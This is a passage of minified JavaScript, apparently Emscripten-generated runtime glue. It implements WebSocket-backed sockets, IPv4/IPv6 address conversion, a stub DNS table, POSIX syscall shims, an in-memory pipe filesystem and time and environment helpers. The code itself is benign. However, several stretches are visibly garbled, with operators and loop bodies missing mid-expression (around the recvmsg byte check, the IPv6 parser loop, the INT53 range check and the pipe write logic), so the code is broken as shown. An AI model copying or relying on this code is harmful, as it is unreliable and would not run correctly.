data=buffer.slice(offset,offset+length);if(!dest||dest.socket.readyState!==dest.socket.OPEN){if(sock.type===2){if(!dest||dest.socket.readyState===dest.socket.CLOSING||dest.socket.readyState===dest.socket.CLOSED){dest=SOCKFS.websocket_sock_ops.createPeer(sock,addr,port)}}dest.msg_send_queue.push(data);return length}try{dest.socket.send(data);return length}catch(e){throw new FS.ErrnoError(28)}},recvmsg(sock,length){if(sock.type===1&&sock.server){throw new FS.ErrnoError(53)}var queued=sock.recv_queue.shift();if(!queued){if(sock.type===1){var dest=SOCKFS.websocket_sock_ops.getPeer(sock,sock.daddr,sock.dport);if(!dest){throw new FS.ErrnoError(53)}if(dest.socket.readyState===dest.socket.CLOSING||dest.socket.readyState===dest.socket.CLOSED){return null}throw new FS.ErrnoError(6)}throw new FS.ErrnoError(6)}var queuedLength=queued.data.byteLength||queued.data.length;var queuedOffset=queued.data.byteOffset||0;var queuedBuffer=queued.data.buffer||queued.data;var bytesRead=Math.min(length,queuedLength);var res={buffer:new Uint8Array(queuedBuffer,queuedOffset,bytesRead),addr:queued.addr,port:queued.port};if(sock.type===1&&bytesRead{var socket=SOCKFS.getSocket(fd);if(!socket)throw new FS.ErrnoError(8);return socket};var inetPton4=str=>{var b=str.split(".");for(var i=0;i<4;i++){var tmp=Number(b[i]);if(isNaN(tmp))return null;b[i]=tmp}return(b[0]|b[1]<<8|b[2]<<16|b[3]<<24)>>>0};var inetPton6=str=>{var words;var w,offset,z;var valid6regx=/^((?=.*::)(?!.*::.+::)(::)?([\dA-F]{1,4}:(:|\b)|){5}|([\dA-F]{1,4}:){6})((([\dA-F]{1,4}((?!\3)::|:\b|$))|(?!\2\3)){2}|(((2[0-4]|1\d|[1-9])?\d|25[0-5])\.?\b){4})$/i;var parts=[];if(!valid6regx.test(str)){return null}if(str==="::"){return[0,0,0,0,0,0,0,0]}if(str.startsWith("::")){str=str.replace("::","Z:")}else{str=str.replace("::",":Z:")}if(str.indexOf(".")>0){str=str.replace(new RegExp("[.]","g"),":");words=str.split(":");words[words.length-4]=Number(words[words.length-4])+Number(words[words.length-3])*256;words[words.length-3]=Number(words[words.length-2])+Number(words[words.length-1])*256;words=words.slice(0,words.length-2)}else{words=str.split(":")}offset=0;z=0;for(w=0;w{switch(family){case 2:addr=inetPton4(addr);zeroMemory(sa,16);if(addrlen){HEAP32[addrlen>>2]=16}HEAP16[sa>>1]=family;HEAP32[sa+4>>2]=addr;HEAP16[sa+2>>1]=_htons(port);break;case 10:addr=inetPton6(addr);zeroMemory(sa,28);if(addrlen){HEAP32[addrlen>>2]=28}HEAP32[sa>>2]=family;HEAP32[sa+8>>2]=addr[0];HEAP32[sa+12>>2]=addr[1];HEAP32[sa+16>>2]=addr[2];HEAP32[sa+20>>2]=addr[3];HEAP16[sa+2>>1]=_htons(port);break;default:return 5}return 0};var DNS={address_map:{id:1,addrs:{},names:{}},lookup_name(name){var res=inetPton4(name);if(res!==null){return name}res=inetPton6(name);if(res!==null){return name}var addr;if(DNS.address_map.addrs[name]){addr=DNS.address_map.addrs[name]}else{var id=DNS.address_map.id++;addr="172.29."+(id&255)+"."+(id&65280);DNS.address_map.names[addr]=name;DNS.address_map.addrs[name]=addr}return addr},lookup_addr(addr){if(DNS.address_map.names[addr]){return DNS.address_map.names[addr]}return null}};function ___syscall_accept4(fd,addr,addrlen,flags,d1,d2){try{var sock=getSocketFromFD(fd);var newsock=sock.sock_ops.accept(sock);if(addr){var errno=writeSockaddr(addr,newsock.family,DNS.lookup_name(newsock.daddr),newsock.dport,addrlen)}return newsock.stream.fd}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}var inetNtop4=addr=>(addr&255)+"."+(addr>>8&255)+"."+(addr>>16&255)+"."+(addr>>24&255);var inetNtop6=ints=>{var str="";var word=0;var longest=0;var lastzero=0;var zstart=0;var len=0;var i=0;var parts=[ints[0]&65535,ints[0]>>16,ints[1]&65535,ints[1]>>16,ints[2]&65535,ints[2]>>16,ints[3]&65535,ints[3]>>16];var hasipv4=true;var v4part="";for(i=0;i<5;i++){if(parts[i]!==0){hasipv4=false;break}}if(hasipv4){v4part=inetNtop4(parts[6]|parts[7]<<16);if(parts[5]===-1){str="::ffff:";str+=v4part;return str}if(parts[5]===0){str="::";if(v4part==="0.0.0.0")v4part="";if(v4part==="0.0.0.1")v4part="1";str+=v4part;return str}}for(word=0;word<8;word++){if(parts[word]===0){if(word-lastzero>1){len=0}lastzero=word;len++}if(len>longest){longest=len;zstart=word-longest+1}}for(word=0;word<8;word++){if(longest>1){if(parts[word]===0&&word>=zstart&&word{var family=HEAP16[sa>>1];var port=_ntohs(HEAPU16[sa+2>>1]);var addr;switch(family){case 2:if(salen!==16){return{errno:28}}addr=HEAP32[sa+4>>2];addr=inetNtop4(addr);break;case 10:if(salen!==28){return{errno:28}}addr=[HEAP32[sa+8>>2],HEAP32[sa+12>>2],HEAP32[sa+16>>2],HEAP32[sa+20>>2]];addr=inetNtop6(addr);break;default:return{errno:5}}return{family,addr,port}};var getSocketAddress=(addrp,addrlen)=>{var info=readSockaddr(addrp,addrlen);if(info.errno)throw new FS.ErrnoError(info.errno);info.addr=DNS.lookup_addr(info.addr)||info.addr;return info};function ___syscall_bind(fd,addr,addrlen,d1,d2,d3){try{var sock=getSocketFromFD(fd);var info=getSocketAddress(addr,addrlen);sock.sock_ops.bind(sock,info.addr,info.port);return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_chdir(path){try{path=SYSCALLS.getStr(path);FS.chdir(path);return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_chmod(path,mode){try{path=SYSCALLS.getStr(path);FS.chmod(path,mode);return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_connect(fd,addr,addrlen,d1,d2,d3){try{var sock=getSocketFromFD(fd);var info=getSocketAddress(addr,addrlen);sock.sock_ops.connect(sock,info.addr,info.port);return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_dup(fd){try{var old=SYSCALLS.getStreamFromFD(fd);return FS.dupStream(old).fd}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_faccessat(dirfd,path,amode,flags){try{path=SYSCALLS.getStr(path);path=SYSCALLS.calculateAt(dirfd,path);if(amode&~7){return-28}var lookup=FS.lookupPath(path,{follow:true});var node=lookup.node;if(!node){return-44}var perms="";if(amode&4)perms+="r";if(amode&2)perms+="w";if(amode&1)perms+="x";if(perms&&FS.nodePermissions(node,perms)){return-2}return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_fchmod(fd,mode){try{FS.fchmod(fd,mode);return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_fchownat(dirfd,path,owner,group,flags){try{path=SYSCALLS.getStr(path);var nofollow=flags&256;flags=flags&~256;path=SYSCALLS.calculateAt(dirfd,path);(nofollow?FS.lchown:FS.chown)(path,owner,group);return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}var syscallGetVarargI=()=>{var ret=HEAP32[+SYSCALLS.varargs>>2];SYSCALLS.varargs+=4;return ret};var syscallGetVarargP=syscallGetVarargI;function ___syscall_fcntl64(fd,cmd,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(fd);switch(cmd){case 0:{var arg=syscallGetVarargI();if(arg<0){return-28}while(FS.streams[arg]){arg++}var newStream;newStream=FS.dupStream(stream,arg);return newStream.fd}case 1:case 2:return 0;case 3:return stream.flags;case 4:{var arg=syscallGetVarargI();stream.flags|=arg;return 0}case 12:{var arg=syscallGetVarargP();var offset=0;HEAP16[arg+offset>>1]=2;return 0}case 13:case 14:return 0}return-28}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_fdatasync(fd){try{var stream=SYSCALLS.getStreamFromFD(fd);return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_fstat64(fd,buf){try{return SYSCALLS.writeStat(buf,FS.fstat(fd))}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}var INT53_MAX=9007199254740992;var INT53_MIN=-9007199254740992;var bigintToI53Checked=num=>numINT53_MAX?NaN:Number(num);function ___syscall_ftruncate64(fd,length){length=bigintToI53Checked(length);try{if(isNaN(length))return-61;FS.ftruncate(fd,length);return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}var stringToUTF8=(str,outPtr,maxBytesToWrite)=>stringToUTF8Array(str,HEAPU8,outPtr,maxBytesToWrite);function ___syscall_getcwd(buf,size){try{if(size===0)return-28;var cwd=FS.cwd();var cwdLengthInBytes=lengthBytesUTF8(cwd)+1;if(size>3]=BigInt(id);HEAP64[dirp+pos+8>>3]=BigInt((idx+1)*struct_size);HEAP16[dirp+pos+16>>1]=280;HEAP8[dirp+pos+18]=type;stringToUTF8(name,dirp+pos+19,256);pos+=struct_size}FS.llseek(stream,idx*struct_size,0);return pos}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_getpeername(fd,addr,addrlen,d1,d2,d3){try{var sock=getSocketFromFD(fd);if(!sock.daddr){return-53}var errno=writeSockaddr(addr,sock.family,DNS.lookup_name(sock.daddr),sock.dport,addrlen);return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_getsockname(fd,addr,addrlen,d1,d2,d3){try{var sock=getSocketFromFD(fd);var errno=writeSockaddr(addr,sock.family,DNS.lookup_name(sock.saddr||"0.0.0.0"),sock.sport,addrlen);return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_getsockopt(fd,level,optname,optval,optlen,d1){try{var sock=getSocketFromFD(fd);if(level===1){if(optname===4){HEAP32[optval>>2]=sock.error;HEAP32[optlen>>2]=4;sock.error=null;return 0}}return-50}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_ioctl(fd,op,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(fd);switch(op){case 21509:{if(!stream.tty)return-59;return 0}case 21505:{if(!stream.tty)return-59;if(stream.tty.ops.ioctl_tcgets){var termios=stream.tty.ops.ioctl_tcgets(stream);var argp=syscallGetVarargP();HEAP32[argp>>2]=termios.c_iflag||0;HEAP32[argp+4>>2]=termios.c_oflag||0;HEAP32[argp+8>>2]=termios.c_cflag||0;HEAP32[argp+12>>2]=termios.c_lflag||0;for(var i=0;i<32;i++){HEAP8[argp+i+17]=termios.c_cc[i]||0}return 0}return 0}case 21510:case 21511:case 21512:{if(!stream.tty)return-59;return 0}case 21506:case 21507:case 21508:{if(!stream.tty)return-59;if(stream.tty.ops.ioctl_tcsets){var argp=syscallGetVarargP();var c_iflag=HEAP32[argp>>2];var c_oflag=HEAP32[argp+4>>2];var c_cflag=HEAP32[argp+8>>2];var c_lflag=HEAP32[argp+12>>2];var c_cc=[];for(var i=0;i<32;i++){c_cc.push(HEAP8[argp+i+17])}return stream.tty.ops.ioctl_tcsets(stream.tty,op,{c_iflag,c_oflag,c_cflag,c_lflag,c_cc})}return 0}case 21519:{if(!stream.tty)return-59;var argp=syscallGetVarargP();HEAP32[argp>>2]=0;return 0}case 21520:{if(!stream.tty)return-59;return-28}case 21537:case 21531:{var argp=syscallGetVarargP();return FS.ioctl(stream,op,argp)}case 21523:{if(!stream.tty)return-59;if(stream.tty.ops.ioctl_tiocgwinsz){var winsize=stream.tty.ops.ioctl_tiocgwinsz(stream.tty);var argp=syscallGetVarargP();HEAP16[argp>>1]=winsize[0];HEAP16[argp+2>>1]=winsize[1]}return 0}case 21524:{if(!stream.tty)return-59;return 0}case 21515:{if(!stream.tty)return-59;return 0}default:return-28}}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_listen(fd,backlog){try{var sock=getSocketFromFD(fd);sock.sock_ops.listen(sock,backlog);return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_lstat64(path,buf){try{path=SYSCALLS.getStr(path);return SYSCALLS.writeStat(buf,FS.lstat(path))}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_mkdirat(dirfd,path,mode){try{path=SYSCALLS.getStr(path);path=SYSCALLS.calculateAt(dirfd,path);FS.mkdir(path,mode,0);return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_newfstatat(dirfd,path,buf,flags){try{path=SYSCALLS.getStr(path);var nofollow=flags&256;var allowEmpty=flags&4096;flags=flags&~6400;path=SYSCALLS.calculateAt(dirfd,path,allowEmpty);return SYSCALLS.writeStat(buf,nofollow?FS.lstat(path):FS.stat(path))}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_openat(dirfd,path,flags,varargs){SYSCALLS.varargs=varargs;try{path=SYSCALLS.getStr(path);path=SYSCALLS.calculateAt(dirfd,path);var mode=varargs?syscallGetVarargI():0;return FS.open(path,flags,mode).fd}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}var PIPEFS={BUCKET_BUFFER_SIZE:8192,mount(mount){return FS.createNode(null,"/",16384|511,0)},createPipe(){var pipe={buckets:[],refcnt:2,timestamp:new Date};pipe.buckets.push({buffer:new Uint8Array(PIPEFS.BUCKET_BUFFER_SIZE),offset:0,roffset:0});var rName=PIPEFS.nextname();var wName=PIPEFS.nextname();var rNode=FS.createNode(PIPEFS.root,rName,4096,0);var wNode=FS.createNode(PIPEFS.root,wName,4096,0);rNode.pipe=pipe;wNode.pipe=pipe;var readableStream=FS.createStream({path:rName,node:rNode,flags:0,seekable:false,stream_ops:PIPEFS.stream_ops});rNode.stream=readableStream;var writableStream=FS.createStream({path:wName,node:wNode,flags:1,seekable:false,stream_ops:PIPEFS.stream_ops});wNode.stream=writableStream;return{readable_fd:readableStream.fd,writable_fd:writableStream.fd}},stream_ops:{getattr(stream){var node=stream.node;var timestamp=node.pipe.timestamp;return{dev:14,ino:node.id,mode:4480,nlink:1,uid:0,gid:0,rdev:0,size:0,atime:timestamp,mtime:timestamp,ctime:timestamp,blksize:4096,blocks:0}},poll(stream){var pipe=stream.node.pipe;if((stream.flags&2097155)===1){return 256|4}for(var bucket of pipe.buckets){if(bucket.offset-bucket.roffset>0){return 64|1}}return 0},dup(stream){stream.node.pipe.refcnt++},ioctl(stream,request,varargs){return 28},fsync(stream){return 28},read(stream,buffer,offset,length,position){var pipe=stream.node.pipe;var currentLength=0;for(var bucket of pipe.buckets){currentLength+=bucket.offset-bucket.roffset}var data=buffer.subarray(offset,offset+length);if(length<=0){return 0}if(currentLength==0){throw new FS.ErrnoError(6)}var toRead=Math.min(currentLength,length);var totalRead=toRead;var toRemove=0;for(var bucket of pipe.buckets){var bucketSize=bucket.offset-bucket.roffset;if(toRead<=bucketSize){var tmpSlice=bucket.buffer.subarray(bucket.roffset,bucket.offset);if(toRead=dataLen){currBucket.buffer.set(data,currBucket.offset);currBucket.offset+=dataLen;return dataLen}else if(freeBytesInCurrBuffer>0){currBucket.buffer.set(data.subarray(0,freeBytesInCurrBuffer),currBucket.offset);currBucket.offset+=freeBytesInCurrBuffer;data=data.subarray(freeBytesInCurrBuffer,data.byteLength)}var numBuckets=data.byteLength/PIPEFS.BUCKET_BUFFER_SIZE|0;var remElements=data.byteLength%PIPEFS.BUCKET_BUFFER_SIZE;for(var i=0;i0){var newBucket={buffer:new Uint8Array(PIPEFS.BUCKET_BUFFER_SIZE),offset:data.byteLength,roffset:0};pipe.buckets.push(newBucket);newBucket.buffer.set(data)}return dataLen},close(stream){var pipe=stream.node.pipe;pipe.refcnt--;if(pipe.refcnt===0){pipe.buckets=null}}},nextname(){if(!PIPEFS.nextname.current){PIPEFS.nextname.current=0}return"pipe["+PIPEFS.nextname.current+++"]"}};function ___syscall_pipe(fdPtr){try{if(fdPtr==0){throw new FS.ErrnoError(21)}var res=PIPEFS.createPipe();HEAP32[fdPtr>>2]=res.readable_fd;HEAP32[fdPtr+4>>2]=res.writable_fd;return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_poll(fds,nfds,timeout){try{var nonzero=0;for(var i=0;i>2];var events=HEAP16[pollfd+4>>1];var mask=32;var stream=FS.getStream(fd);if(stream){mask=SYSCALLS.DEFAULT_POLLMASK;if(stream.stream_ops.poll){mask=stream.stream_ops.poll(stream,-1)}}mask&=events|8|16;if(mask)nonzero++;HEAP16[pollfd+6>>1]=mask}return nonzero}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_readlinkat(dirfd,path,buf,bufsize){try{path=SYSCALLS.getStr(path);path=SYSCALLS.calculateAt(dirfd,path);if(bufsize<=0)return-28;var ret=FS.readlink(path);var len=Math.min(bufsize,lengthBytesUTF8(ret));var endChar=HEAP8[buf+len];stringToUTF8(ret,buf,bufsize+1);HEAP8[buf+len]=endChar;return len}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_recvfrom(fd,buf,len,flags,addr,addrlen){try{var sock=getSocketFromFD(fd);var msg=sock.sock_ops.recvmsg(sock,len);if(!msg)return 0;if(addr){var errno=writeSockaddr(addr,sock.family,DNS.lookup_name(msg.addr),msg.port,addrlen)}HEAPU8.set(msg.buffer,buf);return msg.buffer.byteLength}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_renameat(olddirfd,oldpath,newdirfd,newpath){try{oldpath=SYSCALLS.getStr(oldpath);newpath=SYSCALLS.getStr(newpath);oldpath=SYSCALLS.calculateAt(olddirfd,oldpath);newpath=SYSCALLS.calculateAt(newdirfd,newpath);FS.rename(oldpath,newpath);return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_rmdir(path){try{path=SYSCALLS.getStr(path);FS.rmdir(path);return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_sendto(fd,message,length,flags,addr,addr_len){try{var sock=getSocketFromFD(fd);if(!addr){return FS.write(sock.stream,HEAP8,message,length)}var dest=getSocketAddress(addr,addr_len);return sock.sock_ops.sendmsg(sock,HEAP8,message,length,dest.addr,dest.port)}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_socket(domain,type,protocol){try{var sock=SOCKFS.createSocket(domain,type,protocol);return sock.stream.fd}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_stat64(path,buf){try{path=SYSCALLS.getStr(path);return SYSCALLS.writeStat(buf,FS.stat(path))}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_statfs64(path,size,buf){try{SYSCALLS.writeStatFs(buf,FS.statfs(SYSCALLS.getStr(path)));return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_symlinkat(target,dirfd,linkpath){try{target=SYSCALLS.getStr(target);linkpath=SYSCALLS.getStr(linkpath);linkpath=SYSCALLS.calculateAt(dirfd,linkpath);FS.symlink(target,linkpath);return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function ___syscall_unlinkat(dirfd,path,flags){try{path=SYSCALLS.getStr(path);path=SYSCALLS.calculateAt(dirfd,path);if(!flags){FS.unlink(path)}else if(flags===512){FS.rmdir(path)}else{return-28}return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}var readI53FromI64=ptr=>HEAPU32[ptr>>2]+HEAP32[ptr+4>>2]*4294967296;function ___syscall_utimensat(dirfd,path,times,flags){try{path=SYSCALLS.getStr(path);path=SYSCALLS.calculateAt(dirfd,path,true);var now=Date.now(),atime,mtime;if(!times){atime=now;mtime=now}else{var seconds=readI53FromI64(times);var nanoseconds=HEAP32[times+8>>2];if(nanoseconds==1073741823){atime=now}else if(nanoseconds==1073741822){atime=null}else{atime=seconds*1e3+nanoseconds/(1e3*1e3)}times+=16;seconds=readI53FromI64(times);nanoseconds=HEAP32[times+8>>2];if(nanoseconds==1073741823){mtime=now}else if(nanoseconds==1073741822){mtime=null}else{mtime=seconds*1e3+nanoseconds/(1e3*1e3)}}if((mtime??atime)!==null){FS.utime(path,atime,mtime)}return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}var __abort_js=()=>abort("");var __emscripten_fs_load_embedded_files=ptr=>{do{var name_addr=HEAPU32[ptr>>2];ptr+=4;var len=HEAPU32[ptr>>2];ptr+=4;var content=HEAPU32[ptr>>2];ptr+=4;var name=UTF8ToString(name_addr);FS.createPath("/",PATH.dirname(name),true,true);FS.createDataFile(name,null,HEAP8.subarray(content,content+len),true,true,true)}while(HEAPU32[ptr>>2])};var __emscripten_lookup_name=name=>{var nameString=UTF8ToString(name);return inetPton4(DNS.lookup_name(nameString))};var runtimeKeepaliveCounter=0;var __emscripten_runtime_keepalive_clear=()=>{noExitRuntime=false;runtimeKeepaliveCounter=0};var __emscripten_throw_longjmp=()=>{throw Infinity};function __gmtime_js(time,tmPtr){time=bigintToI53Checked(time);var date=new Date(time*1e3);HEAP32[tmPtr>>2]=date.getUTCSeconds();HEAP32[tmPtr+4>>2]=date.getUTCMinutes();HEAP32[tmPtr+8>>2]=date.getUTCHours();HEAP32[tmPtr+12>>2]=date.getUTCDate();HEAP32[tmPtr+16>>2]=date.getUTCMonth();HEAP32[tmPtr+20>>2]=date.getUTCFullYear()-1900;HEAP32[tmPtr+24>>2]=date.getUTCDay();var start=Date.UTC(date.getUTCFullYear(),0,1,0,0,0,0);var yday=(date.getTime()-start)/(1e3*60*60*24)|0;HEAP32[tmPtr+28>>2]=yday}var isLeapYear=year=>year%4===0&&(year%100!==0||year%400===0);var MONTH_DAYS_LEAP_CUMULATIVE=[0,31,60,91,121,152,182,213,244,274,305,335];var MONTH_DAYS_REGULAR_CUMULATIVE=[0,31,59,90,120,151,181,212,243,273,304,334];var ydayFromDate=date=>{var leap=isLeapYear(date.getFullYear());var monthDaysCumulative=leap?MONTH_DAYS_LEAP_CUMULATIVE:MONTH_DAYS_REGULAR_CUMULATIVE;var yday=monthDaysCumulative[date.getMonth()]+date.getDate()-1;return yday};function __localtime_js(time,tmPtr){time=bigintToI53Checked(time);var date=new Date(time*1e3);HEAP32[tmPtr>>2]=date.getSeconds();HEAP32[tmPtr+4>>2]=date.getMinutes();HEAP32[tmPtr+8>>2]=date.getHours();HEAP32[tmPtr+12>>2]=date.getDate();HEAP32[tmPtr+16>>2]=date.getMonth();HEAP32[tmPtr+20>>2]=date.getFullYear()-1900;HEAP32[tmPtr+24>>2]=date.getDay();var yday=ydayFromDate(date)|0;HEAP32[tmPtr+28>>2]=yday;HEAP32[tmPtr+36>>2]=-(date.getTimezoneOffset()*60);var start=new Date(date.getFullYear(),0,1);var summerOffset=new Date(date.getFullYear(),6,1).getTimezoneOffset();var winterOffset=start.getTimezoneOffset();var dst=(summerOffset!=winterOffset&&date.getTimezoneOffset()==Math.min(winterOffset,summerOffset))|0;HEAP32[tmPtr+32>>2]=dst}var __mktime_js=function(tmPtr){var ret=(()=>{var date=new Date(HEAP32[tmPtr+20>>2]+1900,HEAP32[tmPtr+16>>2],HEAP32[tmPtr+12>>2],HEAP32[tmPtr+8>>2],HEAP32[tmPtr+4>>2],HEAP32[tmPtr>>2],0);var dst=HEAP32[tmPtr+32>>2];var guessedOffset=date.getTimezoneOffset();var start=new Date(date.getFullYear(),0,1);var summerOffset=new Date(date.getFullYear(),6,1).getTimezoneOffset();var winterOffset=start.getTimezoneOffset();var dstOffset=Math.min(winterOffset,summerOffset);if(dst<0){HEAP32[tmPtr+32>>2]=Number(summerOffset!=winterOffset&&dstOffset==guessedOffset)}else if(dst>0!=(dstOffset==guessedOffset)){var nonDstOffset=Math.max(winterOffset,summerOffset);var trueOffset=dst>0?dstOffset:nonDstOffset;date.setTime(date.getTime()+(trueOffset-guessedOffset)*6e4)}HEAP32[tmPtr+24>>2]=date.getDay();var yday=ydayFromDate(date)|0;HEAP32[tmPtr+28>>2]=yday;HEAP32[tmPtr>>2]=date.getSeconds();HEAP32[tmPtr+4>>2]=date.getMinutes();HEAP32[tmPtr+8>>2]=date.getHours();HEAP32[tmPtr+12>>2]=date.getDate();HEAP32[tmPtr+16>>2]=date.getMonth();HEAP32[tmPtr+20>>2]=date.getYear();var timeMs=date.getTime();if(isNaN(timeMs)){return-1}return timeMs/1e3})();return BigInt(ret)};function __mmap_js(len,prot,flags,fd,offset,allocated,addr){offset=bigintToI53Checked(offset);try{var stream=SYSCALLS.getStreamFromFD(fd);var res=FS.mmap(stream,len,offset,prot,flags);var ptr=res.ptr;HEAP32[allocated>>2]=res.allocated;HEAPU32[addr>>2]=ptr;return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}function __munmap_js(addr,len,prot,flags,fd,offset){offset=bigintToI53Checked(offset);try{var stream=SYSCALLS.getStreamFromFD(fd);if(prot&2){SYSCALLS.doMsync(addr,stream,len,flags,offset)}}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}}var timers={};var handleException=e=>{if(e instanceof ExitStatus||e=="unwind"){return EXITSTATUS}quit_(1,e)};var keepRuntimeAlive=()=>noExitRuntime||runtimeKeepaliveCounter>0;var _proc_exit=code=>{EXITSTATUS=code;if(!keepRuntimeAlive()){Module["onExit"]?.(code);ABORT=true}quit_(code,new ExitStatus(code))};var exitJS=(status,implicit)=>{EXITSTATUS=status;_proc_exit(status)};var _exit=exitJS;var maybeExit=()=>{if(!keepRuntimeAlive()){try{_exit(EXITSTATUS)}catch(e){handleException(e)}}};var callUserCallback=func=>{if(ABORT){return}try{func();maybeExit()}catch(e){handleException(e)}};var _emscripten_get_now=()=>performance.now();var __setitimer_js=(which,timeout_ms)=>{if(timers[which]){clearTimeout(timers[which].id);delete timers[which]}if(!timeout_ms)return 0;var id=setTimeout(()=>{delete timers[which];callUserCallback(()=>__emscripten_timeout(which,_emscripten_get_now()))},timeout_ms);timers[which]={id,timeout_ms};return 0};var __tzset_js=(timezone,daylight,std_name,dst_name)=>{var currentYear=(new Date).getFullYear();var winter=new Date(currentYear,0,1);var summer=new Date(currentYear,6,1);var winterOffset=winter.getTimezoneOffset();var summerOffset=summer.getTimezoneOffset();var stdTimezoneOffset=Math.max(winterOffset,summerOffset);HEAPU32[timezone>>2]=stdTimezoneOffset*60;HEAP32[daylight>>2]=Number(winterOffset!=summerOffset);var extractZone=timezoneOffset=>{var sign=timezoneOffset>=0?"-":"+";var absOffset=Math.abs(timezoneOffset);var hours=String(Math.floor(absOffset/60)).padStart(2,"0");var minutes=String(absOffset%60).padStart(2,"0");return`UTC${sign}${hours}${minutes}`};var winterName=extractZone(winterOffset);var summerName=extractZone(summerOffset);if(summerOffsetDate.now();var nowIsMonotonic=1;var checkWasiClock=clock_id=>clock_id>=0&&clock_id<=3;function _clock_time_get(clk_id,ignored_precision,ptime){ignored_precision=bigintToI53Checked(ignored_precision);if(!checkWasiClock(clk_id)){return 28}var now;if(clk_id===0){now=_emscripten_date_now()}else if(nowIsMonotonic){now=_emscripten_get_now()}else{return 52}var nsec=Math.round(now*1e3*1e3);HEAP64[ptime>>3]=BigInt(nsec);return 0}var getHeapMax=()=>HEAPU8.length;var _emscripten_get_heap_max=()=>getHeapMax();var abortOnCannotGrowMemory=requestedSize=>{abort("OOM")};var _emscripten_resize_heap=requestedSize=>{var oldSize=HEAPU8.length;requestedSize>>>=0;abortOnCannotGrowMemory(requestedSize)};var ENV={};var getExecutableName=()=>thisProgram||"./this.program";var getEnvStrings=()=>{if(!getEnvStrings.strings){var lang=(typeof navigator=="object"&&navigator.language||"C").replace("-","_")+".UTF-8";var env={USER:"web_user",LOGNAME:"web_user",PATH:"/",PWD:"/",HOME:"/home/web_user",LANG:lang,_:getExecutableName()};for(var x in ENV){if(ENV[x]===undefined)delete env[x];else env[x]=ENV[x]}var strings=[];for(var x in env){strings.push(`${x}=${env[x]}`)}getEnvStrings.strings=strings}return getEnvStrings.strings};var _environ_get=(__environ,environ_buf)=>{var bufSize=0;var envp=0;for(var string of getEnvStrings()){var ptr=environ_buf+bufSize;HEAPU32[__environ+envp>>2]=ptr;bufSize+=stringToUTF8(string,ptr,Infinity)+1;envp+=4}return 0};var _environ_sizes_get=(penviron_count,penviron_buf_size)=>{var strings=getEnvStrings();HEAPU32[penviron_count>>2]=strings.length;var bufSize=0;for(var string of strings){bufSize+=lengthBytesUTF8(string)+1}HEAPU32[penviron_buf_size>>2]=bufSize;return 0};function _fd_close(fd){try{var stream=SYSCALLS.getStreamFromFD(fd);FS.close(stream);return 0}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return e.errno}}function _fd_fdstat_get(fd,pbuf){try{var rightsBase=0;var 